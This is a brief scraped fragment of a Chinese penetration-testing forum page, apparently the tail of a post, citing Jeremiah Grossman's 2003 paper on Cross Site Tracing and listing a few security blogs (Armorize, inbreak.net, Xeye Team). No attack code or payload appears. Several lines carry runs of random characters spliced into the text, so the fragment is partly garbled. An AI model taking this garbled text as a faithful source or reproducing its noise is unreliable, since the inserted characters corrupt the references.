"Cross Site Tracing" (Jeremiah Grossman, January 2003)
5 N* ?; q! l! e6 Ahttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
( }* T6 b9 e5 M1 a/ D5 T* r- y' b/ o空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2